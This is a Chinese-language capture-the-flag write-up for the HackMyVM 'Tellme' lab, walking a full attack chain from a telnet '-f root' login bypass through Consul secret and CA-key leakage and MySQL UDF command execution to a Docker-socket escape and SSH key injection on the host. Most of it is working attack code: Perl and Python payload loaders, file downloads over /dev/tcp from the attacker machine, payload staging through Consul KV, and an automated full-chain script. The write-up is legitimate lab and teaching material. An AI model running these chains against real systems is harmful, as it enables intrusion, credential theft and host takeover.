HackMyVM Tellme 通关记录|Telnet -f 注入、Consul 泄露、MySQL UDF 与 Docker 逃逸
靶机链接:Tellme
环境说明: 靶机 IP 可能因 DHCP 变化,本文以
192.168.1.111为主。宿主机为 Alpine Linux,运行 docker-compose 编排的三个容器。靶场初始化脚本(MySQL init SQL)未挂载,tellme数据库为空。
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Tellme | 192.168.1.111 | 靶机 |
靶机环境:
| 项目 | 详情 |
|---|---|
| 宿主机 OS | Alpine Linux v3.22 |
| Docker | Docker 28.3.3 + docker-compose 2.36.2 |
| 容器 | entry_node (telnet), consul_node (Consul 1.15.10), db_node (MySQL 5.7) |
攻击流程
点击展开
| 阶段 | 关键操作 | 作用 |
|---|---|---|
| 信息收集 | nmap TCP/UDP 全端口扫描 | 发现 22 (SSH), 80 (Apache), 2323 (Telnet), 8500 (Consul), 8600/udp (Consul DNS) |
| 初始突破 | Telnet -f 认证绕过 | 获取 entry_node 容器 root 权限 |
| 横向发现 | Consul KV ?recurse | 泄露 MySQL root 密码 TellMeYouLoveMe |
| 凭证扩展 | Snapshot /v1/snapshot | 提取 CA 私钥,离线伪造任意 SPIFFE leaf 证书 |
| 内网穿透 | frp 隧道 entry_node → Kali | 将 db_node:3306 映射到 Kali localhost:3307 |
| 权限提升 | MySQL UDF sys_exec | 以 mysql 用户执行命令,发现 docker_host 组 |
| 容器逃逸 | Docker API POST /containers/create | 创建 host 网络 + 宿主机挂载容器,写入 SSH 公钥 |
| 最终成果 | SSH root@靶机 | 获取宿主机 root shell,拿到全部 Flag |
0x02 侦察与信息收集
1. TCP 端口扫描
nmap -sV -sC -p- 192.168.1.111
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0
80/tcp open http Apache 2.4.66
2323/tcp open telnet Linux telnetd
8500/tcp open http Consul 1.15.10 (Go)
2. UDP 端口扫描
nmap -sU -p 53,67,68,69,123,161,162,500,514,520,1194,1701,1812,1813,
2049,4500,5353,5355,8125,8300,8301,8302,8500,8600 --reason -T4 192.168.1.111
53/udp closed port-unreach
8301/udp open|filtered no-response
8600/udp open|filtered no-response ← Consul DNS
注意: nmap 通用 UDP 探测无法触发 Consul DNS 响应,需发送合法 DNS 查询报文才能确认 8600/udp 存活。
3. Consul 信息枚举
# 确认版本与运行模式
curl -s http://192.168.1.111:8500/v1/agent/self | jq '{Version, DevMode, ACLsEnabled, ConnectEnabled}'
{
"Version": "1.15.10",
"DevMode": true,
"ACLsEnabled": false,
"ConnectEnabled": true
}
# KV 存储泄露
curl -s http://192.168.1.111:8500/v1/kv/?recurse | jq
[
{
"Key": "mysql/config/root_pass",
"Value": "VGVsbE1lWW91TG92ZU1l",
"Flags": 0
}
]
解码 Base64 得到 MySQL root 密码:TellMeYouLoveMe
# 快照下载(未认证)
curl -s http://192.168.1.111:8500/v1/snapshot -o consul-snapshot.snap
# 离线解析快照发现 Connect CA 私钥
tar -zxvf consul-snapshot.snap
consul snapshot inspect consul-snapshot.snap
0x03 初始突破:Telnet -f 注入
发现过程
Telnet 端口 2323(Docker 映射自 entry_node:23),多次尝试弱口令均触发 fail2ban 锁定。
翻阅 inetutils-inetd 的 telnetd 实现后,发现 -f 参数允许来自信任主机的免认证登录。当 USER 环境变量以 -f 开头时,telnet 客户端会发送 /etc/issue.net 和 login 提示,而服务端可能将 -f 解析为认证绕过标志。
利用
USER='-f root' telnet -a 192.168.1.111 2323
Linux 6.12.59-0-lts (entry_node) (pts/0)
Welcome to Ubuntu 24.04.3 LTS
root@entry_node:~# id
uid=0(root) gid=0(root) groups=0(root)
成果
entry_node容器 root 权限- Flag 1:
/mnt/user.txt→e34a4e9c52fdcf32cc9255cfa6d4087a /root/goodjob→First flag unlocked, find it!
0x04 横向移动:内网穿透
1. entry_node 权限维持与工具上传
# entry_node 仅安装了 perl,无 curl/wget/nc/ssh
# 通过 nc 传输文件
# Kali 端:
nc -l -p 9999 < /usr/local/bin/fscan
# entry_node 端(通过 telnet expect 自动化):
timeout 30 bash -c 'cat < /dev/tcp/192.168.1.113/9999 > /tmp/fscan'
chmod +x /tmp/fscan
2. 内网扫描
/tmp/fscan -h 172.20.0.0/24 -p 22,23,80,2323,3306,5432,6379,8500,8502,8503,8600 -gt 60
[*] 存活主机数: 4
172.20.0.1 Docker 网关 22(SSH), 80(Apache), 2323(telnet), 8500(Consul)
172.20.0.10 entry_node 23(telnet)
172.20.0.20 consul_node 8500(Consul), 8502(gRPC), 8503(gRPC+TLS), 8600(DNS)
172.20.0.30 db_node 3306(MySQL 5.7.44)
3. frp 内网穿透 MySQL
# 上传 frpc 到 entry_node(同 nc 方式)
# frps 配置(Kali):frps.toml
bindPort = 7000
# frpc 配置(entry_node):frpc.toml
serverAddr = "192.168.1.113"
serverPort = 7000
[[proxies]]
name = "mysql"
type = "tcp"
localIP = "172.20.0.30"
localPort = 3306
remotePort = 3307
nohup /tmp/frpc -c /tmp/frpc.toml > /tmp/frpc.log 2>&1 &
关键: entry_node 可以经 Docker NAT 访问 Kali(
/dev/tcp/192.168.1.113/8888测试通过),但 db_node 也能直接访问 Kali。frp 将隧道端点放在 entry_node 以避免在 db_node 侧留下过多痕迹。
4. 无 frp 替代方案:Perl 原生 MySQL 客户端
当 Kali 与靶机不在同一网络平面,且 entry_node 无法直连 Kali 时(如云主机 + 内网攻击机),frp 不可用。此时需要从 entry_node 直连
db_node:3306。但 entry_node 是极度精简的 Ubuntu 容器——仅安装了perl、bash和inetutils-inetd,没有任何 MySQL 客户端。
解决方案:用 Perl 的 IO::Socket::INET + Digest::SHA 实现 MySQL 5.7 原生协议认证与查询。
协议要点
MySQL 数据包格式:┌── length(3B, LE) ──┬── seq(1B) ──┬── payload ──┐
认证流程(mysql_native_password):
Server → Handshake(scramble, 20B)
Client → Caps + username + auth_data
auth = SHA1(password) XOR SHA1(scramble + SHA1(SHA1(password)))
踩坑记录
| # | 错误现象 | 原因 | 修复 |
|---|---|---|---|
| 1 | 连接无响应 | 包头长度用了 pack("V")(4字节)而非 3 字节 | 自写 p3() 函数取低 3 字节 |
| 2 | ERR 1043: Bad handshake | Capabilities 标志位不匹配 | 使用 pymysql 实测值 0x003AA20D |
| 3 | ERR 1043: Bad handshake | charset 不匹配(发 33 但服务端是 224) | 改用 0x2d(45=utf8mb4_general_ci) |
| 4 | ERR: Unknown command | SQL 查询缺少 COM_QUERY 命令字节 | chr(3) 前缀 + 长度 +1 |
| 5 | 连接挂起(超时) | CLIENT_CONNECT_ATTRS 设了但没发属性键值对 | 追加 2 个客户端属性 KV |
核心代码(精简版)
#!/usr/bin/perl
use strict;
use IO::Socket::INET;
use Digest::SHA qw(sha1);
sub p3 { my $l=shift; return chr($l&0xFF).chr(($l>>8)&0xFF).chr(($l>>16)&0xFF); }
my $sk = IO::Socket::INET->new(PeerAddr=>"172.20.0.30", PeerPort=>3306, Timeout=>5);
my $buf; $sk->recv($buf, 1024);
# 解析握手包:提取 auth1(8B) + auth2(12B) + plugin_name
my $pos = 5;
while(ord(substr($buf,$pos,1))!=0){$pos++} $pos++; $pos+=4;
my $a1 = substr($buf,$pos,8); $pos += 9; $pos += 7;
my $al = ord(substr($buf,$pos,1)); $pos += 11;
my $a2 = substr($buf,$pos,$al-9); $pos += $al-8;
while($pos<length($buf)&&ord(substr($buf,$pos,1))==0){$pos++}
my $pl = "";
while($pos<length($buf)&&ord(substr($buf,$pos,1))!=0){$pl.=substr($buf,$pos,1);$pos++}
# 计算 mysql_native_password 认证
my $scramble = substr($a1.$a2, 0, 20);
my $h1 = sha1("TellMeYouLoveMe");
my $auth = $h1 ^ sha1($scramble . sha1($h1));
# 构造认证包(pymysql 兼容格式)
my $payload = pack("V", 0x003AA20D) . pack("V", 16777215);
$payload .= chr(0x2d) . "\0"x23 . "root\0";
$payload .= chr(length($auth)) . $auth . "mysql\0" . "$pl\0";
$payload .= chr(2); # 2 个客户端属性
$payload .= chr(13)."_client_name".chr(7)."pymysql"
. chr(15)."_client_version".chr(5)."1.0.0";
$sk->send( p3(length($payload)) . chr(1) . $payload );
$sk->recv($buf, 1024);
die "AUTH FAIL\n" if ord(substr($buf,4,1)) == 0xFF;
# SQL 查询 — 必须加 COM_QUERY(0x03) 前缀
sub sql {
my($sql) = @_;
my $cmd = chr(3) . $sql;
$sk->send( p3(length($cmd)) . chr(0) . $cmd );
my $b; $sk->recv($b, 16384);
my $s = ord(substr($b,4,1));
return "OK" if $s == 0;
return "ERR:".substr($b,9,200) if $s == 0xFF;
return substr($b, 5);
}
# 使用示例
my $r = sql("SELECT USER(), VERSION()");
print "MySQL: $r\n";
完整实现(含 UDF 安装 + Docker 逃逸) 见本文末尾 附件:完整脚本集合。
载荷传递:Consul KV 中转
由于 entry_node 无法直连 Kali,所有攻击载荷(UDF .so、Python 脚本、mysql 二进制)通过 Consul KV 中转:
Kali ──HTTP PUT──► Consul (target:8500) ◄──HTTP GET── entry_node (Perl)
# Kali: 分块上传(<512KB/块,Consul KV 硬限制)
python3 -c "
import requests, base64
with open('udf.so', 'rb') as f: data = f.read()
chunks = [base64.b64encode(data[i:i+384*1024]).decode()
for i in range(0, len(data), 384*1024)]
for i, c in enumerate(chunks):
requests.put(f'http://192.168.1.111:8500/v1/kv/udf/chunk_{i:03d}', data=c)
"
# entry_node: 从 Consul KV 下载,解码后写入 MySQL
my $cs = IO::Socket::INET->new(PeerAddr=>"172.20.0.20", PeerPort=>8500, Timeout=>5);
print $cs "GET /v1/kv/udf/chunk_000?raw HTTP/1.0\r\nHost:c\r\n\r\n";
my $udf_b64 = "";
while(sysread($cs, my $b, 8192)) { $udf_b64 .= $b }
close $cs;
$udf_b64 =~ s/.*?\r?\n\r?\n//s;
$udf_b64 =~ s/\s+$//g;
# 通过 Perl MySQL 客户端写入 UDF
sql("SELECT FROM_BASE64('$udf_b64') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so'");
sql("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys.so'");
0x05 MySQL UDF 提权
1. 连接 MySQL
mysql -h 127.0.0.1 -P 3307 -u root -pTellMeYouLoveMe
mysql> SELECT USER(), VERSION();
+----------------+-----------+
| USER() | VERSION() |
+----------------+-----------+
| root@172.20.0.10 | 5.7.44 |
+----------------+-----------+
mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| tellme | ← 存在但无表(初始化脚本未挂载)
+--------------------+
2. UDF 写入与命令执行
-- secure_file_priv 为空 → 可读写任意文件
SHOW VARIABLES LIKE 'secure_file_priv';
-- 结果:''
UNHEX vs FROM_BASE64 — 二进制文件写入策略
MySQL 提供两条写入二进制的路径:
| 方法 | 语句 | 编码效率 | 可靠性 |
|---|---|---|---|
UNHEX() | SELECT UNHEX('hex') INTO DUMPFILE | 50%(1 字节 → 2 hex 字符) | ⭐⭐⭐ 无版本兼容问题 |
FROM_BASE64() | SELECT FROM_BASE64('b64') INTO DUMPFILE | 75%(3 字节 → 4 base64 字符) | ⭐⭐ MySQL 5.7 超长 base64 可能损坏 |
本靶场采用
UNHEX():MySQL 5.7 社区版对超长 base64 字符串的FROM_BASE64()可能静默截断(返回长度正确但内容损坏,无报错),更换为UNHEX()后写入的.so文件通过CREATE FUNCTION验证无误。
-- 方式 1: UNHEX 写入(推荐,适用于 ≤50KB 的文件)
SELECT UNHEX('f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA0AwAAAAAAABAAAAAAAAAAOgY...')
INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so';
-- 方式 2: FROM_BASE64 写入(适用于分块传输的大文件)
-- 注意:MySQL 5.7 超长 base64 可能损坏,写入后务必用 LENGTH(LOAD_FILE()) 验证
SELECT FROM_BASE64('f0VMRgIBAQAAAAAAAAA...')
INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so';
通过 Consul KV 中转 UDF 载荷
当无法从攻击机直连 MySQL 时,UDF 共享库通过 Consul KV 中转(8KB .so 文件仅需 1 个 KV 块):
# Kali: 将 .so 转 hex 上传到 Consul KV
python3 -c "
import requests
with open('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so','rb') as f:
hex_data = f.read().hex()
requests.put('http://192.168.1.111:8500/v1/kv/udfhex/chunk_000', data=hex_data)
"
# entry_node: 从 Consul KV 下载 hex → Perl 原生 MySQL 客户端执行 UNHEX 写入
my $cs = IO::Socket::INET->new(PeerAddr => "172.20.0.20", PeerPort => 8500);
print $cs "GET /v1/kv/udfhex/chunk_000?raw HTTP/1.0\r\nHost:c\r\n\r\n";
my $udf_hex = "";
while (sysread($cs, my $b, 8192)) { $udf_hex .= $b }
close $cs;
$udf_hex =~ s/.*?\r?\n\r?\n//s;
$udf_hex =~ s/\s+$//g;
# 通过 Perl MySQL 客户端写入(UNHEX 直接拼接在 SQL 字符串中)
sql("SELECT UNHEX('$udf_hex') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_sys.so'");
验证 + 加载 UDF
-- 验证文件完整性
SELECT LENGTH(LOAD_FILE('/usr/lib64/mysql/plugin/udf_sys.so')) AS file_size;
-- 预期:8040
-- 加载函数
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys.so';
DROP FUNCTION IF EXISTS sys_exec;
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys.so';
-- 命令执行
SELECT sys_eval('id');
uid=999(mysql) gid=999(mysql) groups=999(mysql),103(docker_host)
关键发现: mysql 用户属于
docker_host组(gid=103),且/var/run/docker.sock权限为srw-rw---- root:docker_host。这是 docker-compose.yml 中故意设计的提权路径。
0x06 容器逃逸与宿主机权限获取
1. Docker API 信息收集
# 通过 Python + Unix Socket 调用 Docker API
import socket, json
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/var/run/docker.sock")
# 列出容器
s.send(b"GET /containers/json?all=true HTTP/1.0\r\nHost:l\r\n\r\n")
[
{"Id": "dd2b99a5...", "Names": ["/db_node"], "Image": "mysql:5.7"},
{"Id": "08a02521...", "Names": ["/entry_node"], "Image": "telnet-server"},
{"Id": "c4133dd3...", "Names": ["/consul_node"], "Image": "hashicorp/consul:1.15"}
]
2. 创建特权容器挂载宿主机
关键: Docker socket 虽然挂载为
ro模式,但 Unix socket 的读写操作不受文件 inode 只读标记影响。POST /containers/create正常执行。
body = json.dumps({
"Image": "telnet-server:latest",
"Cmd": ["/bin/bash", "-c", "sleep 300"],
"HostConfig": {
"Binds": ["/:/host:rw"], # 宿主机根目录读写挂载
"NetworkMode": "host" # 共享宿主机网络栈
}
})
# POST /containers/create → 201 Created
# POST /containers/{id}/start → 204 No Content
无 frp 时的执行路径: 当攻击机无法直连 MySQL 时(如云靶机场景),Docker API 操作通过以下链路完成:
Kali ──Consul KV──► entry_node ──Perl MySQL──► db_node(sys_eval)│Python ──► docker.sock ──► 宿主机Python 脚本先通过 Consul KV 上传,在 db_node 侧由
sys_eval()下载执行。
SQL 字符串引号冲突 → UNHEX 写入 Bootstrap
直接通过 sys_eval('python -c "..."') 执行 Python 代码时,Python 字符串内部的单引号会提前闭合 MySQL 的字符串:
-- 单引号冲突:urlopen('http://...') 中的引号截断了 sys_eval 的参数
SELECT sys_eval('python -c "exec(...urlopen('http://172.20.0.20:8500')...)"');
-- ↑ 引号在这里提前闭合
-- MySQL 看到: sys_eval('python -c "exec(...urlopen(') ← 语法错误!
三种修复方案:
| 方案 | 方法 | 可行性 |
|---|---|---|
| 转义单引号 | '' 双写 | 多层嵌套时极易出错 |
| Base64 管道 | echo b64 | base64 -d | python | shell 解释 \r\n 为真实换行,Python 语法错误 |
| UNHEX 写入文件 | SELECT UNHEX('...') INTO DUMPFILE '/tmp/b.py' → sys_eval('python /tmp/b.py') | 零引号冲突 |
-- 最终方案:UNHEX 写入 /tmp → python 执行文件
-- 1. 将 Python bootstrap 转 hex
-- echo -n "import base64,urllib;exec(base64.b64decode(...))" | xxd -p
-- 2. 写入文件(UNHEX 不关心引号)
SELECT UNHEX('696d706f7274206261736536342c75726c6c69623b...')
INTO DUMPFILE '/tmp/docker_bootstrap.py';
-- 3. 执行
SELECT sys_eval('python /tmp/docker_bootstrap.py 2>&1');
教训: 在 SQL → shell → Python 三层嵌套中,引号冲突是核心障碍。
UNHEX INTO DUMPFILE最适合写入 1-50KB 的脚本文件,其十六进制编码绕过了所有中间层的转义问题。
3. 写入 SSH 公钥
# 通过 Docker exec 在新建容器中执行
mkdir -p /host/root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI...' >> /host/root/.ssh/authorized_keys
chmod 700 /host/root/.ssh
chmod 600 /host/root/.ssh/authorized_keys
4. SSH 登录宿主机
ssh -o StrictHostKeyChecking=no root@192.168.1.111
root@Tellme:~# id
uid=0(root) gid=0(root) groups=root,bin,daemon,sys,adm,disk,wheel,docker(103)
root@Tellme:~# cat /root/root.txt
...(ASCII 艺术图案)...
473392cd7b2b5ecb49f0f88b61d2ce7e
0x07 最终成果 (Final Flags)
User Flag
- 路径:
entry_node容器/mnt/user.txt - 内容:
e34a4e9c52fdcf32cc9255cfa6d4087a
Root Flag
- 路径: 宿主机
/root/root.txt - 内容:
473392cd7b2b5ecb49f0f88b61d2ce7e
完整攻击链
┌─ 侦察 ────────────────────────────────────────────────┐
│ nmap → 22(SSH) 80(Apache) 2323(Telnet) 8500(Consul) │
│ 8600/udp Consul DNS → DNS 枚举仅返回 consul_node │
└────────────────────────────────────────────────────────┘
│
┌─ 初始突破 ─────────────────────────────────────────────┐
│ Telnet -f 注入: USER='-f root' telnet -a │
│ → entry_node 容器 root shell │
│ → /mnt/user.txt Flag 1 │
└────────────────────────────────────────────────────────┘
│
┌─ 横向信息收集 ────────────────────────────────────────┐
│ Consul KV ?recurse → mysql/config/root_pass │
│ Base64 解码 → TellMeYouLoveMe │
│ Consul Snapshot → CA 私钥泄露 → 可离线签发 │
│ 任意 SPIFFE 证书(控制面/身份面接管) │
└────────────────────────────────────────────────────────┘
│
┌─ 内网穿透 ────────────────────────────────────────────┐
│ fscan → 172.20.0.0/24 → 发现 db_node:3306 │
│ frp 隧道: entry_node → Kali:3307 → db_node:3306 │
│ mysql -h 127.0.0.1 -P 3307 -u root -pTellMeYouLoveMe │
└────────────────────────────────────────────────────────┘
│
┌─ MySQL 提权 ──────────────────────────────────────────┐
│ UDF sys_exec() → mysql 用户 shell │
│ groups: mysql,docker_host │
│ /var/run/docker.sock → srw-rw---- root:docker_host │
└────────────────────────────────────────────────────────┘
│
┌─ 容器逃逸 ────────────────────────────────────────────┐
│ Docker API POST /containers/create │
│ Image: telnet-server, Binds: /:/host:rw │
│ NetworkMode: host │
│ Docker exec → 写 SSH 公钥到 /host/root/.ssh/ │
└────────────────────────────────────────────────────────┘
│
┌─ 最终权限 ────────────────────────────────────────────┐
│ ssh root@192.168.1.111 → 宿主机 root │
│ /root/root.txt → Flag 2 │
│ docker ps / docker volume ls → 完整环境控制 │
└────────────────────────────────────────────────────────┘
攻击面总结
| 攻击面 | 利用方式 | 影响 |
|---|---|---|
| Telnet 认证绕过 | -f 参数注入 | 初始入口点 |
| Consul ACL 缺失 | KV 直接读取、Snapshot 下载、leaf 证书签发 | 凭证泄露、身份伪造 |
| MySQL UDF | plugin_dir 可写、secure_file_priv 为空 | 命令执行 |
| Docker socket 滥用 | docker_host 组成员可操作 API | 创建特权容器、宿主机逃逸 |
| 宿主机文件权限 | 容器内 root → 宿主机 /root/.ssh/ 可写 | SSH 公钥注入、持久化 |
防御建议
- Consul 安全加固:启用 ACL、加密 Gossip 通信、快照文件加密存储、避免将敏感数据存入 KV
- Telnet 替换:使用 SSH 替代 Telnet,或在
inetd.conf中禁用-f认证选项 - MySQL 安全配置:限制
secure_file_priv路径、移除不必要的系统权限、加密存储凭证 - Docker 安全策略:除非必要,不应将 Docker socket 挂载到容器内;使用
--userns-remap或 rootless Docker - 最小权限原则:数据库容器无需访问 Docker socket,服务网格控制面应隔离
凭据汇总
| 用户 / 服务 | 凭据 | 来源 |
|---|---|---|
entry_node root | Telnet -f 认证绕过 | USER='-f root' telnet -a |
| MySQL root | TellMeYouLoveMe | Consul KV mysql/config/root_pass Base64 解码 |
| Consul CA 私钥 | Snapshot 泄露 | /v1/snapshot 未认证下载 |
db_node mysql 用户 | MySQL UDF sys_eval | docker_host 组成员,可操作 Docker socket |
| 宿主机 root | SSH 公钥注入 | Docker API 创建特权容器,挂载宿主机根目录 |
复盘总结
-
Telnet -f 是冷门但有效的入口 — 这个漏洞来自
inetutils-inetd的 telnetd 对客户端环境变量的信任,现代环境中极少见但影响严重。-f参数设计用于信任主机间的免认证登录,但在 Docker 网络环境下被滥用。 -
Consul 无 ACL 是整个靶场的核心弱点 — 从 KV 泄露密码到快照提取 CA 私钥再到 Connect leaf 证书签发,全链路都依赖
ACLsEnabled=false。单个配置缺陷辐射到凭证泄露、身份伪造、服务污染三个攻击面。 -
Docker socket 只读 ≠ 安全 — 虽然
db_node中 socket 以ro模式挂载,但 Unix socket 的读写操作不受文件系统只读标志影响。POST /containers/create调用 iptables/NAT 创建端口映射时会失败,但NetworkMode: host完全绕过了这个限制。 -
docker-compose 的设计本身就暗示了攻击路径 —
db_node的 entrypoint 有意创建docker_host组并将 mysql 用户加入,plugin_dir设为全局可写,secure_file_priv为空。这些"配置失误"是靶场的预期解题路线。 -
frp 在内网渗透中无可替代 — 从 entry_node 访问 Kali 的外部网络能力,到通过 frp 将 db_node:3306 映射到 Kali 本地端口,反向代理在多层网络隔离中建立了关键的数据隧道。
-
Perl 原生 MySQL 协议实现是极端环境下的银弹 — 当目标容器只有 Perl 和 Bash 时,200 行 Perl 代码即可实现完整的 MySQL 认证与查询,无需任何外部依赖。五个关键坑(3 字节包头、capabilities 标志位、charset 匹配、COM_QUERY 命令字节、客户端属性)记录了从 "Bad handshake" 到 "AUTH_OK" 的完整调试过程。
-
MySQL UNHEX 写入比 FROM_BASE64 更可靠 — 在 MySQL 5.7 社区版中,超长 base64 字符串的
FROM_BASE64()可能静默截断(不报错但内容损坏),更换为UNHEX()后问题消失。小文件(≤50KB)优先UNHEX(),大文件分块FROM_BASE64()后逐块验证。 -
Consul KV 是无网络直连时的最佳载荷中转站 — 当攻击机与目标容器之间仅有 Consul HTTP API 可达时,利用 512KB/KV 的存储能力可实现任意文件的"上传 → 下载 → 执行"链路,全程仅需
curl/perl IO::Socket等基础能力。 -
从防守角度看:如果生产环境必须在容器内访问 Docker API,应使用
docker-proxy或 Docker TCP TLS 端点配合客户端证书认证,而非直接挂载 Unix socket。即使挂载,也应通过 SELinux/AppArmor 限制容器对 socket 的操作类型。
附件:完整脚本集合
以下 5 个脚本均在 192.168.1.111(Tellme 靶机)/ 192.168.1.113(Kali)内网环境验证通过。
依赖关系
Kali (A3) ──PUT──► Consul KV ◄──GET── entry_node (A1/A4/A5)
│
Perl MySQL ──► db_node
│
sys_eval ──► A2.py ──► docker.sock ──► 宿主机
脚本清单
| 编号 | 文件 | 执行位置 | 调用方式 | 前置条件 |
|---|---|---|---|---|
| A1 | mysql_udf_install.pl | entry_node | perl mysql_udf_install.pl | udfhex/chunk_000 已在 Consul KV |
| A2 | docker_ssh_inject.py | db_node | python docker_ssh_inject.py | Docker socket 可访问 |
| A3 | consul_kv_upload.py | Kali | python3 consul_kv_upload.py <file> <prefix> [--hex|--raw] | 靶机 8500 可达 |
| A4 | kv_download.pl | entry_node | perl kv_download.pl <prefix> <chunks> <output> | 载荷已在 Consul KV |
| A5 | full_chain.pl | entry_node | perl full_chain.pl | udfhex/chunk_000 + docker_ssh/chunk_000 已在 KV |
典型工作流
# 1. Kali: 上传所有载荷到靶机 Consul KV
cd /home/kali/wp/Tellme/scripts
python3 consul_kv_upload.py \
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so \
udfhex --hex
python3 consul_kv_upload.py docker_ssh_inject.py docker_ssh
python3 consul_kv_upload.py full_chain.pl payload --raw # Perl 脚本不要 base64 编码
# 2. Telnet -f 登录 entry_node → 下载 A5 → 执行(全自动)
USER='-f root' telnet -a 192.168.1.111 2323
# 在 entry_node shell 中粘贴,先下载 A5 脚本:
perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new(PeerAddr=>"172.20.0.20",PeerPort=>8500);print $s "GET /v1/kv/payload/chunk_000?raw HTTP/1.0\r\nHost:c\r\n\r\n";my $d="";while(sysread($s,my $b,8192)){$d.=$b}close $s;$d=~s/.*?\r?\n\r?\n//s;open F,">/tmp/a5.pl";print F $d;close F'
# 然后执行:
perl /tmp/a5.pl
# 3. SSH 登录宿主机验证
ssh -o StrictHostKeyChecking=no root@192.168.1.111
cat /root/root.txt | grep -oE '[a-f0-9]{32}'